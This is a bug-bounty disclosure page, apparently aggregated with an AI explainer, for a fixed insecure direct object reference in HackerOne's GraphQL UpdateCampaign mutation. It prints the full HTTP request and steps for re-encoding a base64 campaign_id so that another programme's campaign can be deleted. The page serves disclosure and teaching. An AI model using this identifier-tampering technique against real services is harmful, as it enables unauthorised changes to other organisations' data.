Insecure Direct Object Reference (IDOR) - Delete Campaigns
The GraphQL UpdateCampaign mutation accepted a client-supplied campaign_id, and the reporter believed changing the base64-encoded ID could delete other programmes' campaigns.
- Triaged in 27 hours
- Fixed in 30 hours
- Paid in 28 hours
- Disclosed after 32 hours
Summary: Hi Team,
I think I can delete any Campaigns based on campaign_id
Steps To Reproduce
Follow the POST request below
POST /graphql HTTP/2
Host: hackerone.com
Cookie: yourcookie
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://hackerone.com/organizations/opensea_demo/campaigns/242/edit
Content-Type: application/json
X-Csrf-Token: ███
X-Product-Area: campaigns
X-Product-Feature: edit
X-Datadog-Origin: rum
X-Datadog-Parent-Id: 9027318766950450042
X-Datadog-Sampling-Priority: 1
X-Datadog-Trace-Id: 87799383677632658
Content-Length: 851
Origin: https://hackerone.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"operationName":"UpdateCampaign","variables":{"product_area":"campaigns","product_feature":"edit","input":{"campaign_id":"Z2lkOi8vaGFja2Vyb25lL0NhbXBhaWduLzI0NA==","team_id":"Z2lkOi8vaGFja2Vyb25lL0VuZ2FnZW1lbnRzOjpCdWdCb3VudHlQcm9ncmFtLzU3MzI4","bounty_table_row_id":"Z2lkOi8vaGFja2Vyb25lL0JvdW50eVRhYmxlUm93LzEwODM2","start_date":"2023-05-05T09:00:00Z","end_date":"2023-05-08T05:00:00Z","critical":3,"high":2,"medium":1.5,"low":1.5,"structured_scope_ids":[],"researchers_information":"ccccccccccccccc"}},"query":"mutation UpdateCampaign($input: UpdateCampaignInput!) {\n updateCampaign(input: $input) {\n was_successful\n errors {\n edges {\n node {\n id\n type\n field\n message\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n}\n"}
Decode base64 of campaign_id to get gid://hackerone/Campaign/244
Increase or decrease the number after Campaign and re-encode it with base64
At the campaign_id parameter in the request change it to another program's ongoing campaign_id parameter.
Then send Campaign request of any program to be deleted.
Impact
Can delete all Campaign on hackerone or any program
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the GraphQL updateCampaign mutation trusted the client-supplied campaign_id and did not verify that the authenticated user had permission over that campaign.
Impact
The reporter believed they could delete campaigns on HackerOne, including those of other programmes.
What the attacker needed
An authenticated account; ability to send a GraphQL request
How it was found
- Capture the POST /graphql UpdateCampaign request while editing a campaign.
- Decode the base64 campaign_id to see the underlying global ID.
- Change the numeric part of the global ID and re-encode it in base64.
- Replace the campaign_id in the request with another programme's campaign ID.
- Send the modified UpdateCampaign request for another programme's campaign.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The website used an identifier to choose which campaign to change. By swapping the identifier for another company's campaign, the reporter thought it could be deleted.
What is IDOR?
One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.